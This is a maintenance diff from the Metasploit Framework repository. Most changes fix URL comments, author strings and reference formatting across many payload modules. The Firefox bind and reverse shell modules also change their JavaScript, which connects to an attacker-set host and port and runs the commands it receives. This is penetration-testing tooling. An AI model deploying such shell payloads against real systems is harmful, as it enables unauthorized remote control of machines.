https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/reverse_openssl.rb b/modules/payloads/singles/cmd/unix/reverse_openssl.rb index 2c89799f66..5fa6002f2d 100644 --- a/modules/payloads/singles/cmd/unix/reverse_openssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_openssl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/reverse_perl.rb b/modules/payloads/singles/cmd/unix/reverse_perl.rb index f7a8ab8fd7..c5850a34f4 100644 --- a/modules/payloads/singles/cmd/unix/reverse_perl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_perl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb index a48f30b7ad..b4c1bf6d9b 100644 --- a/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb index 18009b613c..cbe10295f4 100644 --- a/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/reverse_python.rb b/modules/payloads/singles/cmd/unix/reverse_python.rb index 3379594c72..4600571bc9 100644 --- a/modules/payloads/singles/cmd/unix/reverse_python.rb +++ b/modules/payloads/singles/cmd/unix/reverse_python.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb index 8a37299e3e..40d1231083 100644 --- a/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/reverse_ruby.rb b/modules/payloads/singles/cmd/unix/reverse_ruby.rb index 3d68afc2ed..fceb063376 100644 --- a/modules/payloads/singles/cmd/unix/reverse_ruby.rb +++ b/modules/payloads/singles/cmd/unix/reverse_ruby.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb index 268d95fc48..0afe98c7ca 100644 --- a/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb index ea121520aa..5fb7344c68 100644 --- a/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb +++ b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/unix/reverse_zsh.rb b/modules/payloads/singles/cmd/unix/reverse_zsh.rb index 6b26111614..4ee9d9035e 100644 --- a/modules/payloads/singles/cmd/unix/reverse_zsh.rb +++ b/modules/payloads/singles/cmd/unix/reverse_zsh.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/windows/adduser.rb b/modules/payloads/singles/cmd/windows/adduser.rb index eb69d43451..b1e53aba00 100644 --- a/modules/payloads/singles/cmd/windows/adduser.rb +++ b/modules/payloads/singles/cmd/windows/adduser.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/windows/bind_lua.rb b/modules/payloads/singles/cmd/windows/bind_lua.rb index 9c5a793cd8..351d32f3cf 100644 --- a/modules/payloads/singles/cmd/windows/bind_lua.rb +++ b/modules/payloads/singles/cmd/windows/bind_lua.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/windows/bind_perl.rb b/modules/payloads/singles/cmd/windows/bind_perl.rb index 42da08864a..af2249fbf5 100644 --- a/modules/payloads/singles/cmd/windows/bind_perl.rb +++ b/modules/payloads/singles/cmd/windows/bind_perl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'Windows Command Shell, Bind TCP (via Perl)', 'Description' => 'Listen for a connection and spawn a command shell via perl (persistent)', - 'Author' => ['Samy ', 'cazz', 'patrick'], + 'Author' => ['Samy ', 'cazz', 'patrick'], 'License' => BSD_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_CMD, diff --git a/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb b/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb index 283d965fbb..ebdba89726 100644 --- a/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb +++ b/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ module Metasploit3 super(merge_info(info, 'Name' => 'Windows Command Shell, Bind TCP (via perl) IPv6', 'Description' => 'Listen for a connection and spawn a command shell via perl (persistent)', - 'Author' => ['Samy ', 'cazz', 'patrick'], + 'Author' => ['Samy ', 'cazz', 'patrick'], 'License' => BSD_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_CMD, diff --git a/modules/payloads/singles/cmd/windows/bind_ruby.rb b/modules/payloads/singles/cmd/windows/bind_ruby.rb index d3eb85cbce..79107d0e11 100644 --- a/modules/payloads/singles/cmd/windows/bind_ruby.rb +++ b/modules/payloads/singles/cmd/windows/bind_ruby.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/windows/download_eval_vbs.rb b/modules/payloads/singles/cmd/windows/download_eval_vbs.rb index 8b040f7839..e9d7626af6 100644 --- a/modules/payloads/singles/cmd/windows/download_eval_vbs.rb +++ b/modules/payloads/singles/cmd/windows/download_eval_vbs.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/windows/download_exec_vbs.rb b/modules/payloads/singles/cmd/windows/download_exec_vbs.rb index c86d3fd57a..d7c48a01f5 100644 --- a/modules/payloads/singles/cmd/windows/download_exec_vbs.rb +++ b/modules/payloads/singles/cmd/windows/download_exec_vbs.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/windows/generic.rb b/modules/payloads/singles/cmd/windows/generic.rb index d8dc67fe82..d7680c7c82 100644 --- a/modules/payloads/singles/cmd/windows/generic.rb +++ b/modules/payloads/singles/cmd/windows/generic.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/windows/reverse_lua.rb b/modules/payloads/singles/cmd/windows/reverse_lua.rb index 002cebcc9c..cac36a8592 100644 --- a/modules/payloads/singles/cmd/windows/reverse_lua.rb +++ b/modules/payloads/singles/cmd/windows/reverse_lua.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/windows/reverse_perl.rb b/modules/payloads/singles/cmd/windows/reverse_perl.rb index de50a32991..b781107e97 100644 --- a/modules/payloads/singles/cmd/windows/reverse_perl.rb +++ b/modules/payloads/singles/cmd/windows/reverse_perl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/cmd/windows/reverse_powershell.rb b/modules/payloads/singles/cmd/windows/reverse_powershell.rb index b9ffdd86ae..82c636be19 100644 --- a/modules/payloads/singles/cmd/windows/reverse_powershell.rb +++ b/modules/payloads/singles/cmd/windows/reverse_powershell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -25,7 +25,7 @@ module Metasploit3 ], 'References' => [ - 'URL' => 'https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/powershell/reverse.powershell', + ['URL', 'https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/powershell/reverse.powershell'] ], # The powershell code is from SET, copyrighted by TrustedSEC, LLC and BSD licensed -- see https://github.com/trustedsec/social-engineer-toolkit/blob/master/readme/LICENSE 'License' => MSF_LICENSE, diff --git a/modules/payloads/singles/cmd/windows/reverse_ruby.rb b/modules/payloads/singles/cmd/windows/reverse_ruby.rb index 7bc046c375..f4f2f96885 100644 --- a/modules/payloads/singles/cmd/windows/reverse_ruby.rb +++ b/modules/payloads/singles/cmd/windows/reverse_ruby.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/firefox/exec.rb b/modules/payloads/singles/firefox/exec.rb index 7c9b7afc9b..d7d30ba53b 100644 --- a/modules/payloads/singles/firefox/exec.rb +++ b/modules/payloads/singles/firefox/exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -34,6 +34,7 @@ module Metasploit3 <<-EOS (function(){ + window = this; #{read_file_source if datastore['WSCRIPT']} #{run_cmd_source if datastore['WSCRIPT']} diff --git a/modules/payloads/singles/firefox/shell_bind_tcp.rb b/modules/payloads/singles/firefox/shell_bind_tcp.rb index 9a91867fb7..3212da2cb2 100644 --- a/modules/payloads/singles/firefox/shell_bind_tcp.rb +++ b/modules/payloads/singles/firefox/shell_bind_tcp.rb @@ -1,11 +1,12 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' module Metasploit3 @@ -23,24 +24,17 @@ module Metasploit3 'Arch' => ARCH_FIREFOX, 'Handler' => Msf::Handler::BindTcp, 'Session' => Msf::Sessions::CommandShell, - 'PayloadType' => 'firefox', - 'Payload' => { 'Offsets' => {}, 'Payload' => '' } + 'PayloadType' => 'firefox' )) end - # - # Constructs the payload - # - def generate - super + command_string - end - # # Returns the JS string to use for execution # - def command_string + def generate %Q| (function(){ + window = this; Components.utils.import("resource://gre/modules/NetUtil.jsm"); var lport = #{datastore["LPORT"]}; var rhost = "#{datastore['RHOST']}"; @@ -59,16 +53,17 @@ module Metasploit3 } }; + #{read_until_token_source} + var clientListener = function(outStream) { return { onStartRequest: function(request, context) {}, onStopRequest: function(request, context) {}, - onDataAvailable: function(request, context, stream, offset, count) { - var data = NetUtil.readInputStreamToString(stream, count).trim(); + onDataAvailable: readUntilToken(function(data) { runCmd(data, function(err, output) { if(!err) outStream.write(output, output.length); }); - } + }) }; }; diff --git a/modules/payloads/singles/firefox/shell_reverse_tcp.rb b/modules/payloads/singles/firefox/shell_reverse_tcp.rb index 92d32aa8c4..2d04fb80f6 100644 --- a/modules/payloads/singles/firefox/shell_reverse_tcp.rb +++ b/modules/payloads/singles/firefox/shell_reverse_tcp.rb @@ -1,11 +1,12 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' module Metasploit3 @@ -31,6 +32,8 @@ module Metasploit3 <<-EOS (function(){ + window = this; + Components.utils.import("resource://gre/modules/NetUtil.jsm"); var host = '#{datastore["LHOST"]}'; var port = #{datastore["LPORT"]}; @@ -45,15 +48,16 @@ module Metasploit3 .createInstance(Components.interfaces.nsIInputStreamPump); pump.init(inStream, -1, -1, 0, 0, true); + #{read_until_token_source} + var listener = { onStartRequest: function(request, context) {}, onStopRequest: function(request, context) {}, - onDataAvailable: function(request, context, stream, offset, count) { - var data = NetUtil.readInputStreamToString(stream, count).trim(); + onDataAvailable: readUntilToken(function(data) { runCmd(data, function(err, output) { if (!err) outStream.write(output, output.length); }); - } + }) }; #{run_cmd_source} @@ -63,4 +67,5 @@ module Metasploit3 EOS end + end diff --git a/modules/payloads/singles/generic/custom.rb b/modules/payloads/singles/generic/custom.rb index 74475c18d6..47e45b0b2f 100644 --- a/modules/payloads/singles/generic/custom.rb +++ b/modules/payloads/singles/generic/custom.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/generic/debug_trap.rb b/modules/payloads/singles/generic/debug_trap.rb index 505a091e67..51e519b501 100644 --- a/modules/payloads/singles/generic/debug_trap.rb +++ b/modules/payloads/singles/generic/debug_trap.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/generic/shell_bind_tcp.rb b/modules/payloads/singles/generic/shell_bind_tcp.rb index 1f3cbc2c9a..407df6e016 100644 --- a/modules/payloads/singles/generic/shell_bind_tcp.rb +++ b/modules/payloads/singles/generic/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/generic/shell_reverse_tcp.rb b/modules/payloads/singles/generic/shell_reverse_tcp.rb index f95d343d89..759319695e 100644 --- a/modules/payloads/singles/generic/shell_reverse_tcp.rb +++ b/modules/payloads/singles/generic/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/generic/tight_loop.rb b/modules/payloads/singles/generic/tight_loop.rb index 4728cd68b8..6489fb5965 100644 --- a/modules/payloads/singles/generic/tight_loop.rb +++ b/modules/payloads/singles/generic/tight_loop.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/java/jsp_shell_bind_tcp.rb b/modules/payloads/singles/java/jsp_shell_bind_tcp.rb index 087958f27d..676a5fcbd3 100644 --- a/modules/payloads/singles/java/jsp_shell_bind_tcp.rb +++ b/modules/payloads/singles/java/jsp_shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -31,7 +31,6 @@ module Metasploit3 'Payload' => '' } )) - register_options( [ OptString.new( 'SHELL', [ true, "The system shell to use.", 'cmd.exe' ]), ], self.class ) end diff --git a/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb b/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb index dc3ecfb3d9..ff07c925d8 100644 --- a/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb +++ b/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -31,7 +31,6 @@ module Metasploit3 'Payload' => '' } )) - register_options( [ OptString.new( 'SHELL', [ true, "The system shell to use.", 'cmd.exe' ]), ], self.class ) end diff --git a/modules/payloads/singles/java/shell_reverse_tcp.rb b/modules/payloads/singles/java/shell_reverse_tcp.rb index 635552722b..6da4a6c270 100644 --- a/modules/payloads/singles/java/shell_reverse_tcp.rb +++ b/modules/payloads/singles/java/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/armle/adduser.rb b/modules/payloads/singles/linux/armle/adduser.rb index 169d2ef02c..384feccbc6 100644 --- a/modules/payloads/singles/linux/armle/adduser.rb +++ b/modules/payloads/singles/linux/armle/adduser.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/armle/exec.rb b/modules/payloads/singles/linux/armle/exec.rb index 68d0e73c6c..e98e9fd6db 100644 --- a/modules/payloads/singles/linux/armle/exec.rb +++ b/modules/payloads/singles/linux/armle/exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/armle/shell_bind_tcp.rb b/modules/payloads/singles/linux/armle/shell_bind_tcp.rb index 303ca15f99..b8e5c92bf3 100644 --- a/modules/payloads/singles/linux/armle/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/armle/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb b/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb index 2aaaf15b9d..79016cfbfb 100644 --- a/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/mipsbe/exec.rb b/modules/payloads/singles/linux/mipsbe/exec.rb index ed84d5faac..4ad1815928 100644 --- a/modules/payloads/singles/linux/mipsbe/exec.rb +++ b/modules/payloads/singles/linux/mipsbe/exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -19,7 +19,7 @@ module Metasploit3 }, 'Author' => [ - 'Michael Messner ', #metasploit payload + 'Michael Messner ', #metasploit payload 'entropy@phiral.net' #original payload ], 'References' => diff --git a/modules/payloads/singles/linux/mipsbe/reboot.rb b/modules/payloads/singles/linux/mipsbe/reboot.rb index d6e15cb03b..808975dbba 100644 --- a/modules/payloads/singles/linux/mipsbe/reboot.rb +++ b/modules/payloads/singles/linux/mipsbe/reboot.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -20,8 +20,8 @@ module Metasploit3 }, 'Author' => [ - 'Michael Messner ', #metasploit payload - 'rigan - ' #original payload + 'Michael Messner ', #metasploit payload + 'rigan - ' #original payload ], 'References' => [ diff --git a/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb b/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb index 24a3ad0c2d..36b52ffb3d 100644 --- a/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb b/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb index 63de7b66c9..c7b1efd77b 100644 --- a/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -25,7 +25,7 @@ module Metasploit3 ], 'References' => [ - 'EDB' => '18226', + ['EDB', '18226'] ], 'License' => MSF_LICENSE, 'Platform' => 'linux', diff --git a/modules/payloads/singles/linux/mipsle/exec.rb b/modules/payloads/singles/linux/mipsle/exec.rb index 03803e3399..f8cafe62ed 100644 --- a/modules/payloads/singles/linux/mipsle/exec.rb +++ b/modules/payloads/singles/linux/mipsle/exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -20,7 +20,7 @@ module Metasploit3 }, 'Author' => [ - 'Michael Messner ', #metasploit payload + 'Michael Messner ', #metasploit payload 'entropy@phiral.net' #original payload ], 'References' => diff --git a/modules/payloads/singles/linux/mipsle/reboot.rb b/modules/payloads/singles/linux/mipsle/reboot.rb index 5bc3f12904..e28cdd2095 100644 --- a/modules/payloads/singles/linux/mipsle/reboot.rb +++ b/modules/payloads/singles/linux/mipsle/reboot.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -19,8 +19,8 @@ module Metasploit3 }, 'Author' => [ - 'Michael Messner ', #metasploit payload - 'rigan - ' #original payload + 'Michael Messner ', #metasploit payload + 'rigan - ' #original payload ], 'References' => [ diff --git a/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb index b3923af52e..ce145cc15d 100644 --- a/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb b/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb index 08223e2b74..39a2e1f6d5 100644 --- a/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/ppc/shell_bind_tcp.rb b/modules/payloads/singles/linux/ppc/shell_bind_tcp.rb index b1f8b410ab..1df14fa68d 100644 --- a/modules/payloads/singles/linux/ppc/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/ppc/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/ppc/shell_find_port.rb b/modules/payloads/singles/linux/ppc/shell_find_port.rb index 279b3ffc2a..e30dbea684 100644 --- a/modules/payloads/singles/linux/ppc/shell_find_port.rb +++ b/modules/payloads/singles/linux/ppc/shell_find_port.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/ppc/shell_reverse_tcp.rb b/modules/payloads/singles/linux/ppc/shell_reverse_tcp.rb index 74c2e5e04b..fb6bcb52f1 100644 --- a/modules/payloads/singles/linux/ppc/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/ppc/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/ppc64/shell_bind_tcp.rb b/modules/payloads/singles/linux/ppc64/shell_bind_tcp.rb index 18a9851db5..8ee9befe0d 100644 --- a/modules/payloads/singles/linux/ppc64/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/ppc64/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/ppc64/shell_find_port.rb b/modules/payloads/singles/linux/ppc64/shell_find_port.rb index 0ad77eed41..f6d1d80740 100644 --- a/modules/payloads/singles/linux/ppc64/shell_find_port.rb +++ b/modules/payloads/singles/linux/ppc64/shell_find_port.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/ppc64/shell_reverse_tcp.rb b/modules/payloads/singles/linux/ppc64/shell_reverse_tcp.rb index 34d78f3d8e..e06ce2bfef 100644 --- a/modules/payloads/singles/linux/ppc64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/ppc64/shell_reverse_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x64/exec.rb b/modules/payloads/singles/linux/x64/exec.rb index e19b5fa0ef..ff079180a8 100644 --- a/modules/payloads/singles/linux/x64/exec.rb +++ b/modules/payloads/singles/linux/x64/exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x64/shell_bind_tcp.rb b/modules/payloads/singles/linux/x64/shell_bind_tcp.rb index dd63ea7360..d1db224fcd 100644 --- a/modules/payloads/singles/linux/x64/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/x64/shell_bind_tcp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb b/modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb index 10b553ae94..c00dfd7063 100644 --- a/modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb +++ b/modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/linux/x64/shell_find_port.rb b/modules/payloads/singles/linux/x64/shell_find_port.rb index addfefb6c5..547a328328 100644 --- a/modules/payloads/singles/linux/x64/shell_find_port.rb +++ b/modules/payloads/singles/linux/x64/shell_find_port.rb @@ -1,5 +1,5 @@ 